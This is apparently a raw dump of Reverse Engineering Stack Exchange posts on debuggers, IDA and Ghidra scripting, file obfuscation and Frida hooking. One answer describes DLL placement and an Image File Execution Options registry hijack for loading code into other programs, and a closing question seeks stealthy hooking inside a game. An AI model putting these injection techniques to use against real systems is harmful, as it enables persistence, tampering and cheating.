Indeed, it seems to be incorrect. The syntax [R0],#1 is called post-indexed: first the store (or load) is performed, and then the base address is incremented (or decremented) by the value specified. So the assignment and increment should be swapped.

+

As for 00 BF, it is the opcode for the NOP instruction, probably inserted to align next function on a 4-byte boundary.

+",60,,60,,6/17/2020 15:10,6/17/2020 15:10,,,,0,,,,CC BY-SA 4.0 +25327,1,25328,,6/17/2020 14:41,,0,41,"

If I have breakpoint on some win function, how to whitelist some address on which I don't want stopping?

+

Seems that it is needed to use conditions. How?

+

I use x64dbg, but if you only know a way in another debugger - it is also interesting.

+",33573,,33573,,6/17/2020 14:56,6/17/2020 14:57,How to whitelist an address for breakpoint?,,1,1,,,,CC BY-SA 4.0 +25328,2,,25327,6/17/2020 14:57,,1,,"

Yes you can do that. If you don't know how to set conditional breakpoints take a look here

+

The condition you need to set depends if you are debugging 32 (EIP register) or 64 (RIP register) bit program. +So for example let's say you don't want to stop at address 0xDEADBEEF for 32 bit program, you can set the break condition to EIP != DEADBEEF. You can add multiple addresses like this: EIP != addy1 && EIP != addy2 and so on.

+",21109,,,,,6/17/2020 14:57,,,,2,,,,CC BY-SA 4.0 +25329,1,,,6/17/2020 17:52,,0,69,"

How to make these columns empty or make a new breakpoint where they are empty? I just need a stop at these win commands (in the summary column), not at a specific address. +
+I don't know what exactly should be in these columns and that is why I need them empty.

+

So I need to set a breakpoint for a command without an address. Maybe other debuggers can do this.

+

UPDATE:
+I am looking for this functionality in x64dbg: + +So there are no addresses. Does it support this?

+",33573,,33573,,6/17/2020 18:31,6/17/2020 18:31,Set a breakpoint for a win command without an address,,0,15,,,,CC BY-SA 4.0 +25330,1,,,6/17/2020 18:54,,2,149,"

I have this file here, that is supposed to be a wave audio file, but seems to have some obfuscation applied to it. The file header is here: https://pastebin.com/LD5aA1EG Any suggestions where else it would be appropriate to ask?

+",33575,,,,,10/6/2020 11:00,Wave File obfuscation,,2,0,,,,CC BY-SA 4.0 +25331,2,,25330,6/17/2020 19:18,,1,,"

It looks like the file is xored by key 0xA7 0x23. After xoring the very first bytes, the header looks like this:

+

52 49 46 46 0C E1 16 13 57 41 56 45 66 6D 74 20 RIFF.á..WAVEfmt

+

So mostly like correct wave header.

+",21109,,,,,6/17/2020 19:18,,,,4,,,,CC BY-SA 4.0 +25332,1,,,6/17/2020 23:00,,0,432,"

I am currently practicing reverse engineering to look for the default password of the Linksys V1.5 firmware here https://www.linksys.com/us/support-article?articleNum=148613

+

I tried to use binwalk to get more information from the file but do not know where to go from here. Almost no useful information from what I have seen from hexdump and strings command. Is there any other recommended tools to use or strategies?

+",33577,,,,,6/17/2020 23:00,Practicing Reverse Engineering To Find Default Password From Router Firmware,,0,6,,,,CC BY-SA 4.0 +25334,1,,,6/18/2020 4:10,,1,107,"

I'm reversing some stuff that has RTTI, so finding vftables is easy.

+

I have an instance of some class some_object, there is a method being called through its __vftable. The method_4 has a type of data_struct *(__thiscall *method_4)(void *not_sure, data_struct *data_struct, int a3). It looks like this:

+

+

Is there a way to actually click on method_4 here and go to the pointer in the vftable/the underlaying sub_<something>? I seem to be stuck just having to go back to the vftable manually when I want to see what that function does.

+

It feels like I need to somehow link the instance of some_object or rather its _vftable to the actual vftable memory location but not sure if that's a thing? Do I want too much? :)

+",21805,,,,,6/18/2020 18:34,Click-thru a virtual function in IDA,,1,0,,,,CC BY-SA 4.0 +25335,1,,,6/18/2020 6:44,,1,165,"

I'm trying to reverse engineer a REST API and there is an endpoint that delivers images. Some of them are jpegs but other ones look like they're base64 encoded, except they don't appear to be, as they contain invalid chars such as & and -. If I "repair" the invalid chars I can base64 decode it, but it's just random binary data I can't discern anything from (does base64 have a checksum built in or can I base64-decode any string that has valid base64 characters?).

+

The data is around ~74 KB for an image I'm requesting in 500px width. Here is a bit of the content:

+
MAXe09nMdH7sLXdcCVfZhA1p3ll44Ye5vJABsCGRPlh4xej7NYAu9otU2xUns35mHcwVr1j12l9Mn2AsSP9RTZEjljoUGNzkCn5yshkPMGLBmyFgrI2PjRpme0UIFX9n/CF1K1FDbA8uhTqgqxLYV2DeA9LpG5hLSFPGlkKbGcsWlYa4YyqsbYtG9mg1knuzedm+kVWvPjUpN/WtypkypnaZKmUVnXh3jFgMxCOpWHLGX9QfptR331mte+pjS2n4Ot51EYvA2Bm0QxYoEZ8ZeV/W1UjkHw9L9PBH65NY/h1mL1s246/XHFsJT6eSnHTPFlILiT66cOVjJ+2T3LDidobQrDkamZi/+wwsugY5520lFrMUYvvtvyFEb
+
+

The API is sending a Content-Transfer-Encoding: binary header with the response.

+

Are there other common formats to encode binary data that I may not be aware of or does anyone have an idea what kind of data this could be?

+",33579,,33579,,6/18/2020 9:50,6/18/2020 9:50,Determining the encoding of an unknown image format,,0,7,,6/24/2020 11:44,,CC BY-SA 4.0 +25336,2,,25322,6/18/2020 12:49,,4,,"

So, the answer was provided in the OP's ticket #1994, just transferring it here for the future seekers:

+
from ghidra.program.model.listing import CodeUnitFormat, CodeUnitFormatOptions
+codeUnitFormat = CodeUnitFormat(CodeUnitFormatOptions(CodeUnitFormatOptions.ShowBlockName.ALWAYS,CodeUnitFormatOptions.ShowNamespace.ALWAYS,"",True,True,True,True,True,True,True))
+
+instructionList = []
+for instr in currentProgram.getListing().getInstructions(True):
+    instructionList.append(codeUnitFormat.getRepresentationString(inst))
+
+",18014,,,,,6/18/2020 12:49,,,,0,,,,CC BY-SA 4.0 +25338,1,25355,,6/18/2020 15:43,,1,208,"

I have an idapython script which automatically defines bytes as code by a predefined configuration.
+The problem is that when it defines the block of bytes as code (by idc.create_insn) it does not define references automatically.

+

For example, this is the outcome of the function:
+

+

And this is the expected result:
+

+

If 0x80004F0 cannot be defined automatically as offset, how can I programatically (with idapython) set it to be so?

+",16633,,,,,6/20/2020 0:47,Defining operand as offset,,2,0,,,,CC BY-SA 4.0 +25339,2,,25322,6/18/2020 17:37,,2,,"

I came up with this after I read the post but couldn't find a way to make it neat and clean

+

just recording the thought process as pawel created an answer that is nice

+
>>> inst = currentProgram.listing.getCodeUnitAt(currentAddress)
+>>> print (inst,inst.getReferencesFrom()[1])
+(CALL qword ptr [0x1c0007050], ->NTOSKRNL.EXE::EtwRegister)
+
+

edit a regex substitute hack is what I was thinking of before abandoning it like below

+
>>> re.sub("\[.*\]",'['+inst.getReferencesFrom()[1].toString()+']',inst.toString())
+    u'CALL qword ptr [->NTOSKRNL.EXE::EtwRegister]'
+
+",3473,,3473,,6/18/2020 17:57,6/18/2020 17:57,,,,0,,,,CC BY-SA 4.0 +25340,2,,25334,6/18/2020 18:34,,1,,"

I don't know if it makes it clickable, but you can use add_cref to link a location to another code location.

+

I typically use this if I have a call site like call eax and I know that eax always points to the same location (as in your case with vtables).

+

That way, IDA treats the call eax connected to the target location and you get all the benefits like argument propagation, xrefs on the target etc., maybe it makes it clickable but I don't use the decompiler.

+

Use it like:

+
add_cref(addr_from, addr_to, fl_CN | XREF_USER)
+
+

if you forget the XREF_USER the code ref is sometimes lost by the auto-analysis if I remember correctly.

+",23277,,,,,6/18/2020 18:34,,,,0,,,,CC BY-SA 4.0 +25341,2,,25325,6/18/2020 18:39,,2,,"

That is not heavily obfuscated. The code is just using short names. I would use Search & Replace in your favorite text editor to give them more memorable names.

+",23277,,,,,6/18/2020 18:39,,,,0,,,,CC BY-SA 4.0 +25342,2,,25176,6/18/2020 21:19,,1,,"

It's very likely you need to access the .value of the object. Alternatively you could also "stringfy" this which is an easy was to understand all the properties of the Object. Also, you do not need to perform an overload inside of your overload, just call the method directly using this.decryptAesCipherText()

+

You can do all of the above with the fix as follows;

+
var target_class = Java.use('com.reactlibrary.securekeystore.RNSecureKeyStoreModule');
+
+target_class.decryptAesCipherText.overload('javax.crypto.SecretKey','[B').implementation = function(key, array){
+        console.log("Inside decrypt aes");
+
+        console.log("key.value : ", key.value);
+        console.log("JSON.stringify(key) : ", JSON.stringify(key));
+
+        //Call getEncoded method on key to get byte array
+        var ret = this.decryptAesCipherText(key, array);
+
+
+        console.log("JSON.stringify(ret) : ", JSON.stringify(ret));
+
+        return ret;
+}
+
+",8103,,,,,6/18/2020 21:19,,,,0,,,,CC BY-SA 4.0 +25343,2,,25063,6/18/2020 21:23,,2,,"

Dex files have a maximum amount of methods which they can contain, specifically 64k methods.

+

Jar files are just zip files containing class files.

+

Knowing both of these, all you need to do is dex2jar (or whatever you're using to create the jar file from the dex file) each dex file individually. Then unzip each file to the same directory, enter the directory and then zip them all up into a single, massive, jar (zip file).

+

After this you can open this as a single jar with jadx or whatever tool you'd like.

+",8103,,,,,6/18/2020 21:23,,,,0,,,,CC BY-SA 4.0 +25344,1,,,6/18/2020 22:45,,1,306,"

I am currently doing byte extraction from PE files using Radare2. I know how to find the byte sequence for DOS Header and PE Header when there is no entry point and the start is defaulted to 0x0. But some of them have an entry point at 0x4#####.

+

I can retrieve the vaddr (virtual address), paddr (physical address), and haddr (e_entry\AddressOfEntryPoint in the binary header) of a certain file with an entry point.

+

How do I use that to find the byte sequence for the DOS Header and PE Header?

+

+",33590,,37138,,7/27/2021 23:40,7/27/2021 23:40,How to find DOS Header and PE Header with an entry point in Radare2?,,1,0,,,,CC BY-SA 4.0 +25346,2,,25344,6/19/2020 10:47,,1,,"

You can load the file as raw, using -n or -nn option and then you will have those structures available at 0x0.

+
r2 -n ./open-wsl.exe
+
+

+

It also contains some function to operate and print on those structures in a nicer form. Check the pf? group for more info.

+",18014,,,,,6/19/2020 10:47,,,,0,,,,CC BY-SA 4.0 +25347,2,,8120,6/19/2020 11:34,,1,,"

As Jason Geffner said, you can add your DLL to the import table of your .exe. Other tool than IIDKing that can add your dll to the import table of a PE file is called Stud_PE, which, unlike IIDKing, doesn't crash if your dll doesn't have any entries in the export address table(EAT):

+

+",33592,,,,,6/19/2020 11:34,,,,0,,,,CC BY-SA 4.0 +25348,2,,25338,6/19/2020 12:26,,1,,"

Red highlight usually means that the address is not valid. You need to create a segment covering the target address range for it to be shown as a label.

+",60,,,,,6/19/2020 12:26,,,,2,,,,CC BY-SA 4.0 +25349,2,,8120,6/19/2020 13:38,,2,,"

Strange as it is, two other methods have not been mentioned. The AppInit_DLLs approach you mentioned doesn't work anymore to the best of my knowledge. At least not as easily, especially when UEFI Secure Boot is enabled.

+ +

In both cases it depends on the target binary, so let's go through it.

+

DLL placement attack

+

I've run this in the past on Windows 7, but the rules have changed since then. The way I made it work was as follows. I figured out one (vendor-provided) DLL loaded by the program without a full path (I picked the one with the least number of imports). I then wrote a stub DLL which would simply pass through all function calls to the real DLL (loaded by full path) and print out useful info for me. The return value would simply be returned.

+

It's easy to figure out the function prototypes of exported functions, so this was the lazy option for me.

+

ImageFileExecutionOptions

+

This method is used by Process Explorer to make itself a replacement for Task Manager. Here's how that looks in action:

+
Windows Registry Editor Version 5.00
+
+[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe]
+"Debugger"="\"C:\\PATH\\TO\\PROCEXP.EXE\""
+
+

Now the value name probably gives it away already, this was previously used for a totally different purpose.

+

Either way you can (ab)use it to achieve what you want. You write a little stub loader, acting as the "debugger". There isn't much to it, you don't even have to implement any of the debugger APIs, although you could.

+

All you'll want to do is to use CreateProcess or similar to create a process with its main thread in suspended state upon "start". You can pass on the command line arguments as you wish (although it is, admittedly) a bit involved with CreateProcess and friends.

+

The suspended main thread is where you can detour to your own code ... typically a simple piece of shell code that does nothing other than load your DLL and then return to the original entry point. Et voila, you have loaded your DLL into an application.

+

The nice part about this second method is that it scales pretty well, since you basically only have to write this sort of "debugger" (loader) once. So it can be kept generic.

+

This method amounts to doing (from the command line):

+
loader.exe C:\path\to\hijacked\application.exe argument1 argument2 and more arguments
+
+

... except that to the user this will be transparent. And I think inside your loader you can even use argv[0] to get the path to the hijacked executable, IIRC.

+

Now you may think that this is some weird security issue and wonder why it's gone unnoticed. It's not a security issue insofar as you have to be privileged to set the ImageFileExecutionOptions in the first place.

+

As a side-note: I think it's even permissible to name the containing key (taskmgr.exe in the above registry file) with the full path to the executable to be hijacked.

+",245,,,,,6/19/2020 13:38,,,,0,,,,CC BY-SA 4.0 +25350,1,,,6/19/2020 14:01,,1,549,"

I would like to know which of the two has a better pseudo code generator in C, IDA or Ghidra, if possible, point out the strengths and low points of each one.

+",33530,,,,,6/19/2020 14:01,which has better pseudocode? IDA or Ghidra,,0,1,,6/20/2020 7:25,,CC BY-SA 4.0 +25351,1,,,6/19/2020 15:08,,1,1252,"

I am working on an app to archive some important files in a compressed-encrypted format,

+

What is the best for me to use (Virtualization) VMProtector or Themida ?

+

Thanks in advance

+",33597,,,,,6/19/2020 15:16,Latest VMProtect vs Latest Themida,,1,0,,6/19/2020 22:09,,CC BY-SA 4.0 +25352,2,,25351,6/19/2020 15:16,,1,,"

Both work with virtualization techniques, I recommend vm protect from experience and consider it slightly better in machine protection, buy the latest version, if you know how to try adding some of your own techniques, but I believe that only vm protect is enough to the protection of the executable, good luck.

+",33530,,,,,6/19/2020 15:16,,,,6,,,,CC BY-SA 4.0 +25353,1,,,6/19/2020 16:42,,2,1347,"

I want to write a script which imports an exe file, analyzes it, extracts some features and saves it using python.

+

The part which I am not able to understand is, how to import a file from the script itself. I do not want to use the askFile function and i do not want to use the headleassAnalyzer.

+

Are there any functions which let me do this from the script itself?

+",33506,,,,,11/18/2020 10:07,How to import files and analyze it in Ghidra using a python script?,,1,1,,,,CC BY-SA 4.0 +25354,1,,,6/20/2020 0:44,,1,86,"

I'm making a Linux module (my first one) for a closed-source, enclosed (no hardware access) device. +Using Wireshark I found what to send and where, so I tried the following command in user space Python and it works:

+

handle._controlTransfer(0x21, 0x09, 0x0300, 3, data, 8, 0) #packet sent, device reacts

+

Sadly I can't get it to work in the kernel module:

+

usb_control_msg(dev, usb_sndctrlpipe(dev, 0), 0x09, 0x21, 0x0300, 3, data, 8, 0); //packet sent, device doesn't react

+

even by creating the urb myself:

+
urb = usb_alloc_urb(0, GFP_KERNEL);
+cr = kmalloc(sizeof(struct usb_ctrlrequest), GFP_KERNEL);
+cr->bRequestType = USB_TYPE_CLASS | USB_RECIP_INTERFACE;
+cr->bRequest = 0x09;
+cr->wValue = cpu_to_le16(0x0300);
+cr->wIndex = cpu_to_le16(3);
+cr->wLength = cpu_to_le16(8);
+usb_fill_control_urb(urb, dev, usb_sndctrlpipe(dev, 0), (void *)cr, data, 8, urb_callback, context);
+usb_submit_urb(urb, GFP_ATOMIC);
+kfree(cr);
+usb_free_urb(urb);
+//packet sent, device doesn't react
+
+

When I say the device "reacts" I mean it flashes with another color so there is no ambiguity in the success of the command.

+

I logged everything with Wireshark and the packets are identical (except for urb_id and urb_ts_*)

+

Would you have any advice for me? Something I forgot or how to debug more?

+

Edit

+

Full working Python code

+
context = usb1.USBContext()
+handle = context.openByVendorIDAndProductID(VENDOR_ID, PRODUCT_ID)
+usb1.libusb1.libusb_set_auto_detach_kernel_driver(handle._USBDeviceHandle__handle, 0)
+usb1.libusb1.libusb_set_auto_detach_kernel_driver(handle._USBDeviceHandle__handle, 3)
+handle.claimInterface(0)
+handle.claimInterface(3)
+handle._controlTransfer(0x21, 0x09, 0x0300, 3, data, 8, 0)
+handle.releaseInterface(3)
+handle.releaseInterface(0)
+
+",33604,,33604,,6/20/2020 21:17,6/20/2020 21:17,Same USB packet (Python/user vs C/kernel) but different result,,0,5,,,,CC BY-SA 4.0 +25355,2,,25338,6/20/2020 0:47,,1,,"

I managed to solve the issue by using the following idapython code:

+
operand_value = get_operand_value(address, 1)
+for segment in Segments():
+    if operand_value >= segment and operand_value <= SegEnd(segment):
+        op_hex(address, 1)
+        op_offset(address, 1, idaapi.REF_OFF32, -1, 0, 0)
+
+",16633,,,,,6/20/2020 0:47,,,,0,,,,CC BY-SA 4.0 +25356,1,,,6/20/2020 9:12,,3,141,"

I am exploring MacOS Deckset app. +It has a trial version available on the official website. +But there's a cracked version available on torrent trackers.

+

I want to know what was changed by the people who cracked that app: strings? symbols? few assembly instructions?

+

Both (genuine and cracked) versions are available as .DMG installers. +I've extracted Deckset.app containers from both of them.

+

Now, I'm able to explore Deckset.app/Contents/MacOS/Deckset binary in Hopper tool. +But as the cracked version is patched, I want to understand what actually was patched. +For this, I used radiff2 tool from Radare2 toolset:

+
radiff2 genuine.app/Contents/MacOS/Deckset cracked.app/Contents/MacOS/Deckset  > bin_diff.txt
+
+

It gave me output like this:

+
0x00000e98 901e => 101c 0x00000e98
+0x0000201c 109a => 9097 0x0000201c
+0x0027d486 770c => 585e 0x0027d486
+0x0027d48b 04 => 03 0x0027d48b
+0x0027d493 2c => 24 0x0027d493
+0x0027d49a 511a => 5097 0x0027d49a
+0x0027d49d 00 => 01 0x0027d49d
+0x0027d49f 05 => 00 0x0027d49f
+0x0027d4a3 fe00010000 => 07fade0c02 0x0027d4a3
+0x0027d4aa 53bcfade0c02 => 507300020100 0x0027d4aa
+0x0027d4b2 50ee => 0000 0x0027d4b2
+0x0027d4b5 020500 => 0000b3 0x0027d4b5
+0x0027d4b9 01 => 00 0x0027d4b9
+0x0027d4bb 00 => 30 0x0027d4bb
+0x0027d4be 012e => 0003 0x0027d4be
+0x0027d4c2 0060 => 027e 0x0027d4c2
+
+

Now, when I open "genuine" app in Hopper, and search for either 0x00000e98, or 901e, or 101c, it gives nothing useful.

+

E.g. when I do Menu > Navigate > Go to Address or Symbol and enter 0x00000e98, it gives me such segment:

+

+I don't see nor 901e, neither 101c in this segment.

+

What am I doing wrong? +Do you know better tools for doing this (except IDA Pro, because it's expensive)?

+",33607,,,,,6/20/2020 9:12,How to see what has changed in a patched binary?,,0,2,,,,CC BY-SA 4.0 +25357,1,,,6/20/2020 10:05,,2,630,"

I am trying to reverse engineer a aarch64 binary to find a password from it. I am able to modify certain functions in Ghidra but got stuck with the attached code snippet. The marked areas in the figure are giving me some trouble understanding the algorithm of the code.

+
    +
  1. There are too much undefined variables. I don't know their datatypes. But as param_1 is a character array, I assume that local_58 will also be a character array of size 40 (from memcpy function call). So, local_30 will also be a character array of size 40(from memcpy function call). Am I right here?

    +
  2. +
  3. I assume the 2nd marked snippet is telling the value of local_30. If i am correct local_30 has a value of 00001100 00000111 10101010 10011000 11100011. Please correct me here if I am wrong.

    +
  4. +
  5. FUN_00400c3 is taking the local_58 and doing some operations. Along with local_58, the FUN function is also taking an integer and a unsigned long long int as 2nd and 3rd parameter. The 3rd parameter has a very large value. So, I am not sure whether ghidra is giving a correct value or a garbage one.

    +
  6. +
+

+",33608,,,,,6/20/2020 10:05,Reverse engineering a aarch64 elf in Ghidra,,0,5,,,,CC BY-SA 4.0 +25358,1,,,6/20/2020 17:18,,2,1855,"

I'm using IDA Pro and have identified a function that takes an std::string as an argument.

+

However when I click on the function and "Set Item Type", entering its definition:

+
std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>> funcname(const std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>>& foo)
+
+

I get a syntax error:

+
Syntax error near: std::__ndk1::basic_string
+
+

However there are other variables with this very type that IDA is able to use. Why is it failing when I try to set it?

+",2884,,,,,6/21/2020 13:00,How to set the type of a variable or function to an std::string?,,1,3,,,,CC BY-SA 4.0 +25359,1,,,6/20/2020 21:43,,2,213,"

I have toshiba portege x30-f laptop with Fn keys not working under linux.

+

I've read some articles about usb drivers reverse engineering, but the keyboard connected not via usb. As I can understand it connected through i8042 ps/2

+

I've tried to capture /dev/input/event but there are only usual keys, Fn keys don't generate any output. I've checked every /dev/input/event and /dev/hidraw for any output on Fn keys press and none of them gived me any events or signals. So linux don't know anything about this keys, I suppose the only way to know what is happening - load into windows.

+

I can run Windows natively or in virtual box, but I have no guess how to capture signals from keyboard to windows and vice versa. Can anyone give me advice on this?

+",33615,,,,,7/21/2020 13:00,Linux keyboard driver windows reverse engineering,,1,1,,,,CC BY-SA 4.0 +25360,1,,,6/21/2020 3:16,,2,188,"

I'm dealing with a custom-upx packed library that I'm trying to unpack. System is macOS.

+

Given it's a library/plugin, it doesn't have a standalone entrypoint. I ran it through a disassembler but wasn't able to find obvious hints where the OEP might be. On top of that, it also uses anti-debugging measurements through ptrace to make it even harder.

+

Next I wrote my own loader for it including callbacks it wants, and managed to get it to load, then used lldb save-core to dump the entire memory (of my loader+lib) into a 3GB-ish file.

+

Here is where I am stuck: Memory analysis and forensics doesn't look like its popular on mac with most tools outdated and no longer working. I don't know how to approach this going forward and if it's even possible to restore the unpacked variant from this dump.

+",33616,,,,,3/13/2022 15:01,How can you dump the unpacked version of a packed library/plugin from memory on macOS?,,1,0,,,,CC BY-SA 4.0 +25361,2,,25353,6/21/2020 7:38,,1,,"

In order to run a script in Ghidra you can run the following:

+
analyzeHeadless <project_location> <project_name> -import <path/to/file> -scriptPath <path/to/scripts> -preScript <preScript_name> <preScript_params> -postScript <postScript_name> <postScript_params>
+
+

analyzeHeadless is the Ghidra GUI-less executable script.

+

You can specify postScript, preScript, or both of them.

+

From the script itself, you can reference your program with currentProgram variable.

+",31278,,31278,,6/21/2020 9:38,6/21/2020 9:38,,,,0,,,,CC BY-SA 4.0 +25362,2,,25360,6/21/2020 10:56,,1,,"

Basically you need to find the Mach-O header of the module in memory and dump the segments referred by it.

+

Here’s a tool which is not specifically for macOS, but should not be too difficult to modify since it already has the code to handle the Mach-O format:

+

https://github.com/stefanesser/dumpdecrypted

+",60,,,,,6/21/2020 10:56,,,,0,,,,CC BY-SA 4.0 +25363,2,,25359,6/21/2020 12:56,,1,,"

AFAIK often on laptops the special keys are handled not by the OS but the embedded controller (EC), either completely without the OS involvement or via the ACPI interface. +So you might have to look at the ACPI tables and see if there are methods you can hook (not sure how it works in Linux).

+",60,,,,,6/21/2020 12:56,,,,0,,,,CC BY-SA 4.0 +25364,2,,25358,6/21/2020 13:00,,1,,"

IDA’s C parser does not handle some C++ syntax like namespaces. There are two options:

+
    +
  1. Rename the local type or struct to have no “wrong” symbols, you can use it in type declaration then
  2. +
  3. Use “Convert to struct*” context menu command on the argument/variable. This bypasses the C parser and sets the type directly.
  4. +
+",60,,,,,6/21/2020 13:00,,,,0,,,,CC BY-SA 4.0 +25367,1,,,6/22/2020 1:34,,3,585,"

In C++ binaries, I find Qt methods like ??4QString@@QEAAAEAV0@AEBV0@@Z which demangle to

+
public: class QString & __ptr64 __cdecl QString::operator=(class QString const & __ptr64) __ptr64
+
+

or in shorter form, QString& QString::operator=(QString const&). The return value does not appear to be used. What is the purpose of this "unary equals", given that it does not seem to be a construct people write in the original code?

+

Edit

+

I found the source of my confusion. I'm perfectly award of the calling convention with this, and what operator= is supposed to do. It's common, in my experience, for people to indicate this as a direct argument when reversing software. This is, for instance, what IDA does. It was what I was intending to do as well. So, it would have been considered unary, as I wrote it only take on argument (this).

+

It turns out that IDA somehow incorrectly assigned the type, and gave it the signature __int64 __fastcall QString__operator_(_QWORD) instead of QString* __fastcall QString__operator_(QString *, QString const *). I don't know what caused this. The output from [demangler.com], which I put in the first half of my post, did not include the implicit this, contrary to my expectations.

+",33625,,33625,,6/22/2020 17:38,6/22/2020 17:38,C++ Unary equals (unary operator=),,2,2,,,,CC BY-SA 4.0 +25368,2,,25367,6/22/2020 7:28,,6,,"

It is rather C++ question, but nonetheless:

+

what you see is an assignment operator for the class QString. It enables you to write things like a = b, where a, b are of QString type.

+

The reason why it returns value is to enable you to write: a = b = c instead of a = c and b = c and you may see this pattern in case of other operators overloading (see question for instance).

+

C++ standard demands the compiler to generate the = operator if it wasn't written by a programmer, so you can expect it to be present even if not used directly.

+",27930,,,,,6/22/2020 7:28,,,,0,,,,CC BY-SA 4.0 +25369,2,,25367,6/22/2020 14:23,,1,,"

The default assignment operator for primitives returns a value, and the standard convention for operator overloading is to not deviate from the behavior of the operator you are overloading. This is why it's good practice to continue to return the assigned reference from the assignment overload operator.

+

Because of this behavior, there's a well-used idiom in C (and to C++ by extension) regarding checking the return value of a function upon assignment.

+

For example, consider an invocation of realloc:

+
// int *ptr;
+// size_t size;
+
+size *= 2;
+int *nptr = realloc(ptr, size);
+if (nptr)
+    ptr = nptr;
+else
+    return ERROR;
+
+

We can simplify the code by moving assignment expressions inside the if condition. Here, we take advantage of two assignment expressions, size *= 2, which returns the value of the variable after doubling, and the assignment to nptr, which will be NULL (0) on failure.

+
// int *ptr;
+// size_t size;
+
+int *nptr;
+if (nptr = realloc(ptr, size *= 2))
+    ptr = nptr;
+else
+    return ERROR;
+
+",33632,,,,,6/22/2020 14:23,,,,0,,,,CC BY-SA 4.0 +25370,1,25383,,6/22/2020 16:43,,0,42,"

For some reason i'm not aware of ( some heap allocation limit ) while allocating memory for some classes, an application ( win64 ) raises this exception:

+
DumpedMini Result[0] Exception Code[EXCEPTION_ACCESS_VIOLATION]
+Fatal: Man.exe caused an EXCEPTION_ACCESS_VIOLATION(ThdId:10172) in module WApi.dll WApi::COdbcCommand::COdbcCommand(), Source(Wapicodbc.inl:341)
+7FF9ED373847: The instruction at 0x7FF9ED373847 referenced memory at 0xFFFFFFFFFFFFFFFF. The memory could not be read (exc.code c0000005, tid 12420)
+    :00007FF9ED373847 movaps  xmmword ptr [rcx+200h], xmm6
+    00007FF9ED373847    ntdll.dll   ntdll_RtlCaptureStackContext+1E457
+
+

I don't have any access to application source , i debug it in ida , also there is similar application that does has same logic (allocating exactly same classes, but it doesn't throw error's and allocating up to 1gb in memory, while this app is stuck on 109k)

+

What tools or techniques i can use , to analyze what is behind the memory limiting , or what problem it could be ?

+",14279,,245,,6/24/2020 11:34,6/24/2020 11:34,Windows PE64 throw error while allocating heap for unknown reason?,,1,0,,,,CC BY-SA 4.0 +25372,1,25403,,6/23/2020 2:52,,5,716,"

Apologies if this is a duplicate. Don't know what words to search for as that's what the question is about.

+

I'm relatively new to reverse engineering binaries and while using Ghidra I've noticed that it frequently decompiles the binary to produce functions along these lines:

+
void FUN_803adb50(void)
+{
+  int in_r11;
+  undefined4 unaff_r26;
+  undefined4 unaff_r27;
+  undefined4 unaff_r28;
+  undefined4 unaff_r29;
+  undefined4 unaff_r30;
+  undefined4 unaff_r31;
+  
+  *(undefined4 *)(in_r11 + -0x18) = unaff_r26;
+  *(undefined4 *)(in_r11 + -0x14) = unaff_r27;
+  *(undefined4 *)(in_r11 + -0x10) = unaff_r28;
+  *(undefined4 *)(in_r11 + -0xc) = unaff_r29;
+  *(undefined4 *)(in_r11 + -8) = unaff_r30;
+  *(undefined4 *)(in_r11 + -4) = unaff_r31;
+  return;
+}
+
+

Which is created from the following disassembly:

+
+
                     *                          FUNCTION                          *
+                     **************************************************************
+                     void __stdcall FUN_803adb50(void)
+                       assume GQR0 = 0x0
+                       assume GQR1 = 0x0
+                       assume GQR2 = 0x40004
+                       assume GQR3 = 0x50005
+                       assume GQR4 = 0x60006
+                       assume GQR5 = 0x70007
+                       assume GQR6 = 0x0
+                       assume GQR7 = 0x0
+                       assume r13 = 0x805dd0e0
+                       assume r2 = 0x805e6700
+     void              <VOID>         <RETURN>
+                     FUN_803adb50
+803adb50 93 4b ff e8     stw        r26,-0x18(r11)
+                     **************************************************************
+                     *                          FUNCTION                          *
+                     **************************************************************
+                     undefined GetVCTypeSomething()
+                       assume GQR0 = 0x0
+                       assume GQR1 = 0x0
+                       assume GQR2 = 0x40004
+                       assume GQR3 = 0x50005
+                       assume GQR4 = 0x60006
+                       assume GQR5 = 0x70007
+                       assume GQR6 = 0x0
+                       assume GQR7 = 0x0
+                       assume r13 = 0x805dd0e0
+                       assume r2 = 0x805e6700
+     undefined         r3:1           <RETURN>
+                     GetVCTypeSomething
+803adb54 93 6b ff ec     stw        r27,-0x14(r11)
+803adb58 93 8b ff f0     stw        r28,-0x10(r11)
+803adb5c 93 ab ff f4     stw        r29,-0xc(r11)
+803adb60 93 cb ff f8     stw        r30,-0x8(r11)
+803adb64 93 eb ff fc     stw        r31,-0x4(r11)
+803adb68 4e 80 00 20     blr
+
+

It happens frequently enough that it must be some kind of common pattern, always with many variables of an undefined type with the "unaff_" prefix which are assigned to an equal number of variables with the "in_" prefix. They also commonly appear at the beginning of the caller functions. My instinct is that it's something related to a class structure (I'm unsure of whether or not the original binary was C or C++) but given that I've had no luck with my searches, I figured I'd ask here.

+

What (if any) is the common code pattern that would produce such decompiled code?

+

Bonus points if there's a way to edit the function definition to produce something more legible.

+",33639,,33639,,6/26/2020 17:20,6/26/2020 17:55,What kind of function creates this code pattern?,,2,10,,,,CC BY-SA 4.0 +25373,1,25381,,6/23/2020 4:08,,0,52,"

I read my process memory with WinHex in order to remove some sensitive text which may running my app into crack/hack.(license data).

+

Now , when i open the process Entire memory with in WinHex , i can easily search and find those sensitive data , but when i open each sub-module memory one by one , i can not find them !!

+

How this is possible ?

+

Is there any floating memory in each process which does not belong to process itself and it's sub-modules ?

+

Update : +The strange thing is each time this data appear on a completely different offset !

+

I appreciate for your answer. +Thank you.

+",20562,,20562,,6/23/2020 5:48,6/24/2020 7:44,WinHex : There's a data that does not belong to any module,,1,3,,,,CC BY-SA 4.0 +25374,1,25380,,6/23/2020 7:07,,0,361,"

i am trying to hook wndproc in an game, to do that i am injecting a dll into their memory, my problem is i don't wanna do a Global Hook to the wndproc, i want to get a pointer to his procedure to do thing more cleans and stealth. (I am still learning so i am right now a noob into assembly, if you want you can recommend me a good tutorial to learn assembly etc).

+

PS: Sorry for my english.

+

This is what i mean for Global Hook:

+
//Global/Universal Hook example.
+#include <windows.h>
+
+static bool bSetup = false;
+WNDPROC oWndProc;
+
+LRESULT WndProc(const HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
+{
+    //Process messages
+    
+    return CallWindowProc(WindowProc, hWnd, msg, wParam, lParam);
+}
+
+void lpMain()//Our dll start here, we do our thing in this function.
+{
